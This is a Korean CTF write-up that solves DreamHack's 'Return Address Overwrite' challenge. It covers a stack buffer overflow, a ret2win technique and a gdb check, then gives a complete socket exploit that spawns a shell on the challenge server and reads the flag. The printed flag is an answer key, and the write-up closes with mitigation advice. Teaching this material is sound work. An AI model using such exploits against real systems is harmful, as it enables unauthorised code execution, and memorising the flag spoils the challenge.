[🥉 Bronze 4] 반환 주소를 get_shell 로 덮는다 — DreamHack Return Address Overwrite 풀이

문제: DreamHack — Return Address Overwrite 분류: Pwnable 난이도: 🥉 Bronze 4 FLAG: DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}

문제 이름이 곧 풀이다. 반환 주소(return address)를 덮어쓰는 것. pwnable 을 처음 배울 때 거의 반드시 거치는 "스택 버퍼 오버플로우 → 반환 주소 장악" 의 가장 깨끗한 형태다.

이번엔 NX 가 켜져 있어 스택에 셸코드를 올려 뛰는 건 막혀 있다. 대신 바이너리 안에 execve("/bin/sh") 를 부르는 get_shell 함수가 친절하게 들어 있다. 반환 주소를 그 함수로 돌리면 끝 — 코드 재사용(ret2win) 이다.

문제 개요

풀이는 짧다. ① 소스와 보호기법을 본다 → ② get_shell 주소와 buf→ret 거리를 디스어셈블로 잡는다 → ③ 버퍼+패딩 + get_shell 주소 를 보내 ret 를 덮는다 → ④ gdb 로 RIP 가 정말 get_shell 로 가는지 확인하고 원격에서 셸을 띄운다.

🧩 배경 — 반환 주소와 코드 재사용

함수를 호출하면 CPU 는 "끝나고 돌아올 주소(반환 주소)" 를 스택에 쌓는다. 함수가 ret 로 끝날 때 스택에서 그 주소를 꺼내 그리로 점프한다. 그래서 스택의 반환 주소를 내가 원하는 값으로 덮으면, 함수가 끝나는 순간 실행 흐름을 통째로 가져온다.

지역 버퍼에 그 크기보다 많이 쓰면 인접한 스택 영역(저장된 레지스터, 그리고 반환 주소)을 침범한다.

출처: Wikimedia Commons, WhoAteMyButter, CC0

예전 문제(basic_exploitation_000)에서는 NX 가 꺼져 있어서 스택에 셸코드를 직접 올려 거기로 점프했다. 이번엔 NX 가 켜져 있다 — 스택은 데이터일 뿐 실행이 안 된다. 그래서 셸코드를 못 올린다.

대신 길은 더 쉽다. 바이너리 안에 이미 execve("/bin/sh") 를 부르는 get_shell 함수가 있다. 내가 코드를 주입할 필요 없이, 이미 있는 코드를 재사용 하면 된다. 반환 주소를 get_shell 주소로 덮는 것 — 이게 ret2win(return-to-win) 이다.

🔬 정찰 — 소스와 보호기법

소스는 군더더기가 없다.

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);          // 이 함수만 부르면 셸이 뜬다
}
 
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);                  // 길이 제한 없는 입력 → 오버플로우
  return 0;
}

scanf("%s", buf) 는 길이 제한이 없다. buf 가 0x28 바이트인데 그보다 길게 넣으면 그대로 넘친다. 그리고 컴파일 옵션이 -fno-stack-protector -no-pie — 카나리도 없고 PIE 도 아니다.

보호기법을 확인한다.

file rao
readelf -l rao | grep GNU_STACK     # NX
readelf -h rao | grep Type           # PIE
readelf -s rao | grep __stack_chk    # Canary
nm rao | grep get_shell              # get_shell 주소

정리하면 NX 켜짐(스택 셸코드 불가), No PIE(주소 고정), No Canary(오버플로우가 반환 주소까지 닿음). NX 때문에 셸코드는 못 쓰지만, No PIE 라 get_shell 주소가 0x4006aa 로 고정이고 No Canary 라 반환 주소를 막는 게 없다. 코드 재사용에 딱 맞는 조건이다.

이제 buf 가 스택 어디에 있는지, 반환 주소까지 거리가 얼마인지 디스어셈블로 잡는다.

objdump -d -M intel rao | sed -n '/<main>:/,/ret/p'

lea rax,[rbp-0x30] 이 scanf 의 인자(buf)다 — buf 는 rbp-0x30. 64비트 스택 프레임은 buf → 저장된 rbp(8) → 반환 주소(8) 순이니, buf 에서 반환 주소까지 거리는 0x30 + 8 = 0x38 = 56바이트다.

get_shell 도 확인한다. 정말 execve 를 부르는지.

objdump -d -M intel rao | sed -n '/<get_shell>:/,/^$/p'

get_shell 끝에 call execve@plt 가 있다. system 이 아니라 execve 를 직접 부른다는 게 작지만 중요한 포인트다(뒤에서 다룬다).

💣 취약점 — 오프셋과 페이로드

계획은 한 줄이다. 56바이트로 buf 와 저장된 rbp 를 채운 뒤, 반환 주소 자리에 get_shell 주소를 넣는다.

[ "A" * 56 ][ p64(0x4006aa) ]
  buf+패딩      반환 주소 = get_shell

main 이 ret 하는 순간, CPU 는 스택에서 0x4006aa 를 꺼내 get_shell 로 점프한다. 그 안의 execve("/bin/sh") 가 셸을 띄운다.

🎯 gdb 로 확인 — RIP 가 정말 get_shell 로 가는가

원격에 던지기 전에, 반환 주소 덮어쓰기가 실제로 RIP 를 get_shell 로 돌리는지 디버거로 확인했다. get_shell 진입점(0x4006aa)에 브레이크를 걸고 페이로드를 입력으로 넣어 본다.

python3 -c "import sys,struct; sys.stdout.buffer.write(b'A'*0x38 + struct.pack('<Q',0x4006aa) + b'\n')" > /tmp/rao_pay
gdb -q -batch -ex 'break *0x4006aa' -ex 'run < /tmp/rao_pay' -ex 'x/4i $rip' rao

Breakpoint 1, 0x00000000004006aa in get_shell () — 정확히 get_shell 에 멈췄다. main 의 ret 가 우리가 넣은 0x4006aa 를 꺼내 그리로 점프했다는 증거다. 흐름 장악이 확인됐으니 원격에 그대로 적용한다.

🚀 Full Exploit

원격은 Input: 프롬프트를 받고 페이로드를 보내면 된다. pwntools 없이 raw 소켓으로 충분하다.

#!/usr/bin/env python3
# Return Address Overwrite — ret 를 get_shell 로 덮기 (raw 소켓)
import socket, struct, re, sys, time
 
HOST, PORT = "host3.dreamhack.games", 14805
if len(sys.argv) >= 3:
    HOST, PORT = sys.argv[1], int(sys.argv[2])
 
GET_SHELL = 0x4006aa
OFF = 0x38                       # buf -> 반환 주소 = 0x30 + 8
 
def recv_until(s, m, t=5):
    s.settimeout(t); b = b""
    while m not in b:
        d = s.recv(4096)
        if not d: break
        b += d
    return b
 
s = socket.socket(); s.connect((HOST, PORT))
recv_until(s, b"Input: ")
payload = b"A" * OFF + struct.pack("<Q", GET_SHELL)
s.sendall(payload + b"\n"); time.sleep(0.4)
# ret -> get_shell -> execve("/bin/sh"); 셸에서 flag 회수 (flag 는 홈 디렉토리)
s.sendall(b"cat /home/rao/flag\n"); time.sleep(0.6)
out = b""; s.settimeout(3)
try:
    while True:
        d = s.recv(4096)
        if not d: break
        out += d
except (socket.timeout, ConnectionResetError):
    pass
m = re.search(rb"DH\{[^}]*\}", out)
if m:
    print(">>> FLAG:", m.group(0).decode())

64바이트짜리 페이로드 한 방이면 셸이 뜨고, 홈 디렉토리의 flag 를 읽어 온다.

[*] payload 64 bytes, ret -> get_shell 0x4006aa
>>> FLAG: DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}

📝 결론

셸코드가 막히면, 이미 있는 코드를 재사용하면 된다.

NX 가 스택 실행을 막아도, 바이너리 안에 쓸 만한 코드(여기선 get_shell)가 있으면 반환 주소를 그리로 돌리는 것만으로 끝난다. 이게 코드 재사용(ret2win)의 출발점이고, 더 일반적으로는 가젯들을 엮는 ROP 로 확장된다.

이 문제가 가르치는 건 결국 두 가지다. 첫째, 반환 주소는 스택 위의 그냥 데이터 — 넘쳐서 덮을 수 있으면 실행 흐름이 내 것이 된다. 둘째, 보호기법은 하나라도 빠지면 길이 열린다. 카나리가 있었다면 반환 주소 앞에서 걸렸을 것이고, PIE 였다면 get_shell 주소를 먼저 누출해야 했을 것이다.

방어 관점에서 정리하면:

• 경계 있는 입력을 써라. scanf("%s") 대신 scanf("%39s") 처럼 폭을 지정하거나 fgets(buf, sizeof(buf), stdin) 을 쓴다. 이 한 줄이 전부를 막는다.

• 스택 카나리를 켜라. -fstack-protector 가 있으면 반환 주소 앞 카나리가 깨진 걸 감지해 종료한다. 오버플로우 자체는 막지 못해도 흐름 장악은 어려워진다.

• PIE 를 켜라. get_shell 같은 코드 주소가 매번 바뀌면, 주소 누출이라는 단계가 하나 더 필요해진다.

입문 문제지만 "반환 주소를 덮으면 흐름을 가져온다" 는, 이후 모든 메모리 익스의 토대가 되는 감각을 정확히 짚어 준다.